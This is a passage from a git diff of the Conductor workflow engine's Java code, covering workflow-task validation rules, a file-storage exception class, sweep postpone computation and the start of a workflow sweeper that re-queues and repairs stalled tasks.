workflowTask.getInputParameters()); + } catch (Exception ee) { + String message = + String.format( + ee.getMessage() + ", taskType: DECISION taskName %s", + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + } + + return valid; + } + + private void validateScriptExpression( + String expression, Map inputParameters) { + try { + Object returnValue = ScriptEvaluator.eval(expression, inputParameters); + } catch (Exception e) { + throw new IllegalArgumentException( + String.format("Expression is not well formatted: %s", e.getMessage())); + } + } + + private boolean isSwitchTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + if (workflowTask.getEvaluatorType() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "evaluatorType", + TaskType.SWITCH, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } else if (workflowTask.getExpression() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "expression", + TaskType.SWITCH, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + if (workflowTask.getDecisionCases() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "decisionCases", + TaskType.SWITCH, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } else if (workflowTask.getDecisionCases() != null + && workflowTask.getDecisionCases().size() == 0) { + String message = + String.format( + "decisionCases should have atleast one task for taskType: %s taskName: %s", + TaskType.SWITCH, workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + + if ("javascript".equals(workflowTask.getEvaluatorType()) + && workflowTask.getExpression() != null) { + try { + validateScriptExpression( + workflowTask.getExpression(), workflowTask.getInputParameters()); + } catch (Exception ee) { + String message = + String.format( + ee.getMessage() + ", taskType: SWITCH taskName %s", + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + } + return valid; + } + + private boolean isDoWhileTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + if (workflowTask.getLoopCondition() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "loopCondition", + TaskType.DO_WHILE, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + if (workflowTask.getLoopOver() == null || workflowTask.getLoopOver().size() == 0) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "loopOver", + TaskType.DO_WHILE, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + return valid; + } + + private boolean isDynamicTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + if (workflowTask.getDynamicTaskNameParam() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "dynamicTaskNameParam", + TaskType.DYNAMIC, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + + return valid; + } + + private boolean isWaitTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + String duration = + Optional.ofNullable(workflowTask.getInputParameters().get(DURATION_INPUT)) + .orElse("") + .toString(); + String until = + Optional.ofNullable(workflowTask.getInputParameters().get(UNTIL_INPUT)) + .orElse("") + .toString(); + + if (StringUtils.isNotBlank(duration) && StringUtils.isNotBlank(until)) { + String message = + "Both 'duration' and 'until' specified. Please provide only one input"; + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + + try { + if (StringUtils.isNotBlank(duration) && !(duration.startsWith("${"))) { + DateTimeUtils.parseDuration(duration); + } else if (StringUtils.isNotBlank(until) && !(until.startsWith("${"))) { + DateTimeUtils.parseDate(until); + } + } catch (DateTimeParseException e) { + String message = "Unable to parse date "; + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } catch (IllegalArgumentException e) { + String message = "Either date or duration is passed as null "; + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } catch (ParseException e) { + String message = "Unable to parse date "; + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } catch (Exception e) { + String message = "Wait time specified is invalid. The duration must be in "; + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + + return valid; + } + + private boolean isDynamicForkJoinValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + + // For DYNAMIC_FORK_JOIN_TASK support: + // 1. dynamicForkJoinTasksParam (legacy), OR + // 2. combination of dynamicForkTasksParam and dynamicForkTasksInputParamName, OR + // 3. forkTaskInputs in inputParameters (simple/modern approach) + // Options 1 and 2 are mutually exclusive. + + // Check if using the simple forkTaskInputs approach + boolean usesForkTaskInputs = + workflowTask.getInputParameters() != null + && workflowTask.getInputParameters().containsKey("forkTaskInputs"); + + if (usesForkTaskInputs) { + // forkTaskInputs approach is valid on its own + return valid; + } + + if (workflowTask.getDynamicForkJoinTasksParam() != null + && (workflowTask.getDynamicForkTasksParam() != null + || workflowTask.getDynamicForkTasksInputParamName() != null)) { + String message = + String.format( + "dynamicForkJoinTasksParam or combination of dynamicForkTasksInputParamName and dynamicForkTasksParam cam be used for taskType: %s taskName: %s", + TaskType.FORK_JOIN_DYNAMIC, workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + return false; + } + + if (workflowTask.getDynamicForkJoinTasksParam() != null) { + return valid; + } else { + if (workflowTask.getDynamicForkTasksParam() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "dynamicForkTasksParam", + TaskType.FORK_JOIN_DYNAMIC, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + if (workflowTask.getDynamicForkTasksInputParamName() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "dynamicForkTasksInputParamName", + TaskType.FORK_JOIN_DYNAMIC, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + } + + return valid; + } + + private boolean isHttpTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + boolean isInputParameterSet = false; + boolean isInputTemplateSet = false; + boolean isTopLevelInputSet = false; + + // Either http_request in WorkflowTask inputParam should be set or in inputTemplate + // Taskdef should be set, or the input parameters can be provided at the top level + // (e.g. uri, method directly in inputParameters) + if (workflowTask.getInputParameters() != null + && workflowTask.getInputParameters().containsKey("http_request")) { + isInputParameterSet = true; + } + + // Check if top-level HTTP parameters are provided (uri or method) + if (workflowTask.getInputParameters() != null + && (workflowTask.getInputParameters().containsKey("uri") + || workflowTask.getInputParameters().containsKey("method"))) { + isTopLevelInputSet = true; + } + + TaskDef taskDef = + Optional.ofNullable(workflowTask.getTaskDefinition()) + .orElse( + ValidationContext.getMetadataDAO() + .getTaskDef(workflowTask.getName())); + + if (taskDef != null + && taskDef.getInputTemplate() != null + && taskDef.getInputTemplate().containsKey("http_request")) { + isInputTemplateSet = true; + } + + if (!(isInputParameterSet || isInputTemplateSet || isTopLevelInputSet)) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "inputParameters.http_request or inputParameters.uri", + TaskType.HTTP, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + + return valid; + } + + private boolean isForkJoinTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + + if (workflowTask.getForkTasks() != null && (workflowTask.getForkTasks().size() == 0)) { + String message = + String.format( + "forkTasks should have atleast one task for taskType: %s taskName: %s", + TaskType.FORK_JOIN, workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + + return valid; + } + + private boolean isTerminateTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + Object inputStatusParam = + workflowTask.getInputParameters().get(getTerminationStatusParameter()); + if (workflowTask.isOptional()) { + String message = + String.format( + "terminate task cannot be optional, taskName: %s", + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + if (inputStatusParam == null || !validateInputStatus(inputStatusParam.toString())) { + String message = + String.format( + "terminate task must have an %s parameter and must be set to COMPLETED or FAILED, taskName: %s", + getTerminationStatusParameter(), workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + return valid; + } + + private boolean isKafkaPublishTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + boolean isInputParameterSet = false; + boolean isInputTemplateSet = false; + + // Either kafka_request in WorkflowTask inputParam should be set or in inputTemplate + // Taskdef should be set + if (workflowTask.getInputParameters() != null + && workflowTask.getInputParameters().containsKey("kafka_request")) { + isInputParameterSet = true; + } + + TaskDef taskDef = + Optional.ofNullable(workflowTask.getTaskDefinition()) + .orElse( + ValidationContext.getMetadataDAO() + .getTaskDef(workflowTask.getName())); + + if (taskDef != null + && taskDef.getInputTemplate() != null + && taskDef.getInputTemplate().containsKey("kafka_request")) { + isInputTemplateSet = true; + } + + if (!(isInputParameterSet || isInputTemplateSet)) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "inputParameters.kafka_request", + TaskType.KAFKA_PUBLISH, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + + return valid; + } + + private boolean isSubWorkflowTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + if (workflowTask.getSubWorkflowParam() == null) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "subWorkflowParam", + TaskType.SUB_WORKFLOW, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + return valid; + } + + private boolean isJSONJQTransformTaskValid( + WorkflowTask workflowTask, ConstraintValidatorContext context) { + boolean valid = true; + boolean isInputParameterSet = false; + boolean isInputTemplateSet = false; + + // Either queryExpression in WorkflowTask inputParam should be set or in inputTemplate + // Taskdef should be set + if (workflowTask.getInputParameters() != null + && workflowTask.getInputParameters().containsKey("queryExpression")) { + isInputParameterSet = true; + } + + TaskDef taskDef = + Optional.ofNullable(workflowTask.getTaskDefinition()) + .orElse( + ValidationContext.getMetadataDAO() + .getTaskDef(workflowTask.getName())); + + if (taskDef != null + && taskDef.getInputTemplate() != null + && taskDef.getInputTemplate().containsKey("queryExpression")) { + isInputTemplateSet = true; + } + + if (!(isInputParameterSet || isInputTemplateSet)) { + String message = + String.format( + PARAM_REQUIRED_STRING_FORMAT, + "inputParameters.queryExpression", + TaskType.JSON_JQ_TRANSFORM, + workflowTask.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } + + return valid; + } + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/exception/FileStorageException.java b/core/src/main/java/org/conductoross/conductor/core/exception/FileStorageException.java new file mode 100644 index 0000000..236a3c3 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/exception/FileStorageException.java @@ -0,0 +1,27 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.exception; + +import com.netflix.conductor.core.exception.NonTransientException; + +/** Server-side exception for file-storage failures (verification, storage backend errors). */ +public class FileStorageException extends NonTransientException { + + public FileStorageException(String message) { + super(message); + } + + public FileStorageException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/execution/ExecutorUtils.java b/core/src/main/java/org/conductoross/conductor/core/execution/ExecutorUtils.java new file mode 100644 index 0000000..362c664 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/execution/ExecutorUtils.java @@ -0,0 +1,192 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution; + +import java.time.Duration; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import lombok.extern.slf4j.Slf4j; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_WAIT; + +@Slf4j +public class ExecutorUtils { + + private static boolean isActiveSubWorkflow(TaskModel taskModel) { + return TaskType.TASK_TYPE_SUB_WORKFLOW.equals(taskModel.getTaskType()) + && (taskModel.getStatus() == TaskModel.Status.SCHEDULED + || taskModel.getStatus() == TaskModel.Status.IN_PROGRESS); + } + + /** + * Computes how long to postpone the next sweep/re-check of a workflow so that the scheduler + * does not poll more frequently than necessary. + * + *

    Algorithm: + * + *

      + *
    1. Iterate over every task in the workflow and derive a candidate postpone + * duration based on the task's status and type: + *
        + *
      • SCHEDULED – the worker has not polled yet. + *
          + *
        • If the task definition has a non-zero {@code pollTimeoutSeconds}: candidate + * = remaining seconds until the poll window expires ({@code + * pollTimeoutSeconds - elapsedSecondsSinceScheduled + 1}), floored at 0. + *
        • Else if the workflow definition has a non-zero {@code timeoutSeconds}: + * candidate = {@code workflowTimeoutSeconds + 1}. + *
        • Otherwise: candidate = {@code workflowOffsetTimeout}. + *
        + *
      • IN_PROGRESS / WAIT task + *
          + *
        • {@code waitTimeout == 0} (indefinite wait): candidate = {@code + * workflowOffsetTimeout}. + *
        • {@code waitTimeout > 0}: candidate = remaining milliseconds until {@code + * waitTimeout} converted to seconds, floored at 0. + *
        + *
      • IN_PROGRESS / HUMAN task: candidate = {@code workflowOffsetTimeout}. + *
      • IN_PROGRESS / all other tasks + *
          + *
        • The effective {@code responseTimeoutSeconds} is the task definition value + * when non-zero, otherwise the task model value (allowing workflow-task-level + * overrides to be honoured even when the task def has no timeout). + *
        • If the effective {@code responseTimeoutSeconds} is non-zero: candidate = + * {@code responseTimeoutSeconds - elapsedSeconds + 1}, floored at 0 (the +1 + * gives a one-second buffer past the deadline before re-evaluating). + *
        • Otherwise: candidate = {@code workflowOffsetTimeout}. + *
        + *
      • Any other status (COMPLETED, FAILED, …): skipped — no candidate produced. + *
      + *
    2. Each candidate is clamped to 0 if negative, then capped at {@code maxPostponeDuration} + * when {@code maxPostponeDuration > 0}. + *
    3. The final postpone duration is the minimum of all candidates, so the workflow + * is re-checked as soon as the soonest task needs attention. + *
    4. If no eligible tasks produced a candidate (e.g. all tasks are terminal), fall back to + * {@code workflowOffsetTimeout}. + *
    + * + * @param workflowModel the workflow whose tasks are inspected + * @param workflowOffsetTimeout default postpone used when no task-level deadline is available + * @param maxPostponeDuration hard upper bound on the returned duration (ignored when zero or + * negative) + * @return the duration to wait before the next workflow sweep, never negative + */ + public static Duration computePostpone( + WorkflowModel workflowModel, + Duration workflowOffsetTimeout, + Duration maxPostponeDuration) { + long currentTimeMillis = System.currentTimeMillis(); + long workflowOffsetTimeoutSeconds = workflowOffsetTimeout.getSeconds(); + long maxPostponeSeconds = maxPostponeDuration.getSeconds(); + + Long postponeDurationSeconds = null; + for (TaskModel taskModel : workflowModel.getTasks()) { + Long candidateSeconds = null; + if (isActiveSubWorkflow(taskModel)) { + // Sub-workflow progress is driven by Conductor's internal orchestration rather than + // external worker polling or task-specific timeout signals. Revisit it on the + // normal workflow offset so launch retries and child-completion observation + // converge quickly. + candidateSeconds = workflowOffsetTimeoutSeconds; + } else if (taskModel.getStatus() == TaskModel.Status.IN_PROGRESS) { + if (taskModel.getTaskType().equals(TASK_TYPE_WAIT)) { + if (taskModel.getWaitTimeout() == 0) { + candidateSeconds = workflowOffsetTimeoutSeconds; + } else { + long deltaInSeconds = + (taskModel.getWaitTimeout() - currentTimeMillis) / 1000; + candidateSeconds = (deltaInSeconds > 0) ? deltaInSeconds : 0; + } + } else if (taskModel.getTaskType().equals(TaskType.TASK_TYPE_HUMAN)) { + candidateSeconds = workflowOffsetTimeoutSeconds; + } else { + TaskDef taskDef = taskModel.getTaskDefinition().orElse(null); + long responseTimeoutSeconds = + (taskDef != null && taskDef.getResponseTimeoutSeconds() != 0) + ? taskDef.getResponseTimeoutSeconds() + : taskModel.getResponseTimeoutSeconds(); + if (responseTimeoutSeconds != 0) { + long elapsedSeconds = + Math.max(0, (currentTimeMillis - taskModel.getStartTime()) / 1000); + long remainingSeconds = responseTimeoutSeconds - elapsedSeconds + 1; + candidateSeconds = Math.max(0, remainingSeconds); + } else { + candidateSeconds = workflowOffsetTimeoutSeconds; + } + } + } else if (taskModel.getStatus() == TaskModel.Status.SCHEDULED) { + TaskDef taskDef = taskModel.getTaskDefinition().orElse(null); + if (taskDef != null + && taskDef.getPollTimeoutSeconds() != null + && taskDef.getPollTimeoutSeconds() != 0) { + long scheduledElapsedSeconds = + Math.max(0, (currentTimeMillis - taskModel.getScheduledTime()) / 1000); + long remainingPollSeconds = + taskDef.getPollTimeoutSeconds() - scheduledElapsedSeconds + 1; + candidateSeconds = Math.max(0, remainingPollSeconds); + } else { + long workflowTimeoutSeconds = + workflowModel.getWorkflowDefinition() != null + ? workflowModel.getWorkflowDefinition().getTimeoutSeconds() + : 0; + if (workflowTimeoutSeconds != 0) { + candidateSeconds = workflowTimeoutSeconds + 1; + } else { + candidateSeconds = workflowOffsetTimeoutSeconds; + } + } + } + + if (candidateSeconds == null) { + continue; + } + if (candidateSeconds < 0) { + candidateSeconds = 0L; + } + if (maxPostponeSeconds > 0 && candidateSeconds > maxPostponeSeconds) { + candidateSeconds = maxPostponeSeconds; + } + if (postponeDurationSeconds == null || candidateSeconds < postponeDurationSeconds) { + postponeDurationSeconds = candidateSeconds; + } + } + + long unackSeconds = + (postponeDurationSeconds != null) + ? postponeDurationSeconds + : workflowOffsetTimeoutSeconds; + log.trace( + "postponeDurationSeconds calculated is {} and workflowOffsetTimeoutSeconds is {} for workflow {}", + unackSeconds, + workflowOffsetTimeoutSeconds, + workflowModel.getWorkflowId()); + return Duration.ofSeconds(Math.max(0, unackSeconds)); + } + + /** + * Returns true when the workflow has at least one IN_PROGRESS HUMAN task. Such a workflow is + * blocked on external human input and may remain in this state indefinitely, so it should be + * removed from the decider queue rather than re-swept on every offset. + */ + public static boolean hasInProgressHumanTask(WorkflowModel workflow) { + return workflow.getTasks().stream() + .anyMatch( + task -> + TaskType.TASK_TYPE_HUMAN.equals(task.getTaskType()) + && task.getStatus() == TaskModel.Status.IN_PROGRESS); + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/execution/SweeperProperties.java b/core/src/main/java/org/conductoross/conductor/core/execution/SweeperProperties.java new file mode 100644 index 0000000..813af44 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/execution/SweeperProperties.java @@ -0,0 +1,30 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.Configuration; + +import lombok.Getter; +import lombok.Setter; +import lombok.ToString; + +@Configuration +@ConfigurationProperties("conductor.app.sweeper") +@Getter +@Setter +@ToString +public class SweeperProperties { + private int sweepBatchSize = 2; + private int queuePopTimeout = 100; +} diff --git a/core/src/main/java/org/conductoross/conductor/core/execution/WorkflowSweeper.java b/core/src/main/java/org/conductoross/conductor/core/execution/WorkflowSweeper.java new file mode 100644 index 0000000..912bc3f --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/execution/WorkflowSweeper.java @@ -0,0 +1,375 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution; + +import java.time.Clock; +import java.time.Duration; +import java.util.List; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.Executor; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.function.Predicate; + +import org.apache.commons.lang3.StringUtils; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.core.LifecycleAwareComponent; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.ExecutionLockService; + +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; + +import static com.netflix.conductor.core.config.SchedulerConfiguration.SWEEPER_EXECUTOR_NAME; +import static com.netflix.conductor.core.utils.Utils.DECIDER_QUEUE; + +@Component +@Slf4j +@ConditionalOnProperty( + name = "conductor.app.sweeper.enabled", + havingValue = "true", + matchIfMissing = true) +public class WorkflowSweeper extends LifecycleAwareComponent { + + private final QueueDAO queueDAO; + private final SweeperProperties sweeperProperties; + private final WorkflowExecutor workflowExecutor; + private final ExecutionDAO executionDAO; + private final Duration worflowOffsetTimeout; + private final Executor sweeperExecutor; + private final ConductorProperties properties; + private final ObjectMapper objectMapper; + private SystemTaskRegistry systemTaskRegistry; + private final ExecutionLockService executionLockService; + private final Clock clock = Clock.systemDefaultZone(); + private AtomicBoolean stop = new AtomicBoolean(false); + + public WorkflowSweeper( + @Qualifier(SWEEPER_EXECUTOR_NAME) Executor sweeperExecutor, + QueueDAO queueDAO, + WorkflowExecutor workflowExecutor, + ExecutionDAO executionDAO, + ConductorProperties properties, + SweeperProperties sweeperProperties, + SystemTaskRegistry systemTaskRegistry, + ObjectMapper objectMapper, + ExecutionLockService executionLockService) { + this.queueDAO = queueDAO; + this.executionDAO = executionDAO; + this.sweeperProperties = sweeperProperties; + this.workflowExecutor = workflowExecutor; + this.worflowOffsetTimeout = properties.getWorkflowOffsetTimeout(); + this.sweeperExecutor = sweeperExecutor; + this.properties = properties; + this.systemTaskRegistry = systemTaskRegistry; + this.objectMapper = objectMapper; + this.executionLockService = executionLockService; + log.info("Initializing sweeper with {} threads", properties.getSweeperThreadCount()); + for (int i = 0; i < properties.getSweeperThreadCount(); i++) { + sweeperExecutor.execute(this::pollAndSweep); + } + } + + /* + For system task -> Verify the task isAsync() and not isAsyncComplete() or isAsyncComplete() in SCHEDULED state, + and in SCHEDULED or IN_PROGRESS state. (Example: SUB_WORKFLOW tasks in SCHEDULED state) + For simple task -> Verify the task is in SCHEDULED state. + */ + private final Predicate isTaskRepairable = + task -> { + if (systemTaskRegistry.isSystemTask(task.getTaskType())) { // If system task + WorkflowSystemTask workflowSystemTask = + systemTaskRegistry.get(task.getTaskType()); + return workflowSystemTask.isAsync() + && (!workflowSystemTask.isAsyncComplete(task) + || (workflowSystemTask.isAsyncComplete(task) + && task.getStatus() == TaskModel.Status.SCHEDULED)) + && (task.getStatus() == TaskModel.Status.IN_PROGRESS + || task.getStatus() == TaskModel.Status.SCHEDULED); + } else { // Else if simple task or wait task + return (task.getStatus() == TaskModel.Status.SCHEDULED + || (!task.getStatus().isTerminal() + && task.getWaitTimeout() > 0 + && (clock.millis() - task.getWaitTimeout() > 1000))); + } + }; + + private void pollAndSweep() { + try { + while (true) { + if (stop.get()) { + return; + } + try { + if (!isRunning()) { + log.trace("Component stopped, skip workflow sweep"); + } else { + List workflowIds = + queueDAO.pop( + DECIDER_QUEUE, + sweeperProperties.getSweepBatchSize(), + sweeperProperties.getQueuePopTimeout()); + log.trace("Found {} workflows to sweep", workflowIds.size()); + if (workflowIds.isEmpty()) { + sleepWhenIdle(); + } else { + workflowIds.forEach( + workflowId -> + Monitors.getTimer("workflowSweeper") + .record(() -> sweep(workflowId))); + } + } + } catch (Throwable e) { + log.warn("Error while running sweeper {}", e.getMessage(), e); + } + } + } catch (Throwable e) { + log.error("Error polling for sweep entries {}", e.getMessage(), e); + } + } + + public CompletableFuture sweepAsync(String workflowId) { + sweep(workflowId); + return CompletableFuture.completedFuture(null); + } + + public void sweep(String workflowId) { + if (!executionLockService.acquireLock(workflowId)) { + log.error("Couldn't acquire lock to sweep workflow {}", workflowId); + return; + } + log.info("Running sweeper for workflow {}", workflowId); + + try { + WorkflowModel workflow = workflowExecutor.getWorkflow(workflowId, true); + if (workflow == null || workflow.getStatus().isTerminal()) { + queueDAO.remove(DECIDER_QUEUE, workflowId); + return; + } + + String tasks = + workflow.getTasks().stream() + .map(t -> t.getReferenceTaskName() + ":" + t.getStatus()) + .toList() + .toString(); + workflow = workflowExecutor.decide(workflowId); + if (workflow == null) { + // couldn't get a lock + // Let's try again... with the lockTime timeout / 2 + long backoffMillis = Math.max(1, properties.getLockLeaseTime().toMillis() / 2); + long backoffSeconds = Math.max(1, Duration.ofMillis(backoffMillis).toSeconds()); + long maxPostponeSeconds = properties.getMaxPostponeDurationSeconds().getSeconds(); + if (maxPostponeSeconds > 0 && backoffSeconds > maxPostponeSeconds) { + backoffSeconds = maxPostponeSeconds; + } + log.info( + "can't get a lock on {}, will try after {} seconds", + workflowId, + backoffSeconds); + queueDAO.push(DECIDER_QUEUE, workflowId, 0, backoffSeconds); + return; + } + if (workflow.getStatus().isTerminal()) { + queueDAO.remove(DECIDER_QUEUE, workflow.getWorkflowId()); + return; + } + + String tasksAfterDecide = + workflow.getTasks().stream() + .map(t -> t.getReferenceTaskName() + ":" + t.getStatus()) + .toList() + .toString(); + + // Workflow has not completed and decide did not change the status of the tasks + // Every task that is running MUST be in the queue + if (tasks.equals(tasksAfterDecide)) { + long now = System.currentTimeMillis(); + AtomicBoolean repairedSubWorkflowTask = new AtomicBoolean(false); + workflow.getTasks() + .forEach( + task -> { + if (isTaskRepairable.test(task)) { + String queueName = QueueUtils.getQueueName(task); + if (!queueDAO.containsMessage( + queueName, task.getTaskId())) { + log.warn( + "Going to repair the task {} / {}, with status {}, workflow = {}, timeout = {}, now-wait = {}", + task.getTaskId(), + task.getReferenceTaskName(), + task.getStatus(), + workflowId, + task.getWaitTimeout(), + (now - task.getWaitTimeout())); + Monitors.recordQueueMessageRepushFromRepairService( + task.getTaskDefName()); + // Another repair path can restore the message between + // detection and repush; avoid duplicating it. + if (!queueDAO.containsMessage( + queueName, task.getTaskId())) { + queueDAO.push( + queueName, + task.getTaskId(), + task.getCallbackAfterSeconds()); + } + } + } else if (TaskType.TASK_TYPE_SUB_WORKFLOW.equals( + task.getTaskType()) + && task.getStatus() == TaskModel.Status.IN_PROGRESS) { + WorkflowModel subWorkflow = + executionDAO.getWorkflow( + task.getSubWorkflowId(), false); + if (subWorkflow == null) { + log.warn( + "Sub workflow {} not found for task {} in workflow {}", + task.getSubWorkflowId(), + task.getTaskId(), + task.getWorkflowInstanceId()); + return; + } + if (subWorkflow.getStatus().isTerminal()) { + log.info( + "Repairing sub workflow task {} for sub workflow {} in workflow {}", + task.getTaskId(), + task.getSubWorkflowId(), + task.getWorkflowInstanceId()); + repairSubWorkflowTask(task, subWorkflow); + repairedSubWorkflowTask.set(true); + } + } + }); + + if (repairedSubWorkflowTask.get()) { + workflow = workflowExecutor.decide(workflowId); + if (workflow != null && workflow.getStatus().isTerminal()) { + queueDAO.remove(DECIDER_QUEUE, workflow.getWorkflowId()); + return; + } + } + } + + // Workflow is in running status, there MUST be at-least one task that is not terminal + // (scheduled, in progress) + boolean hasRunningTasks = + workflow.getTasks().stream().anyMatch(task -> !task.getStatus().isTerminal()); + if (!hasRunningTasks) { + // Workflow is in RUNNING status but there are no tasks that are running + // This can happen in case of the database failures where the task scheduling failed + // after the last task was completed + // To fix, we reset the executed flag of the last task and re-run decide + forceSetLastTaskAsNotExecuted(workflow); + workflow = workflowExecutor.decide(workflowId); + } + + // If parent workflow exists, call repair on that too - meaning ensure the parent is in + // the decider queue + if (workflow != null && StringUtils.isNotBlank(workflow.getParentWorkflowId())) { + ensureWorkflowExistsInDecider(workflow.getParentWorkflowId()); + } + } catch (NotFoundException nfe) { + log.error("Error running sweep for {}, error = {}", workflowId, nfe.getMessage(), nfe); + queueDAO.remove(DECIDER_QUEUE, workflowId); + } catch (Throwable e) { + 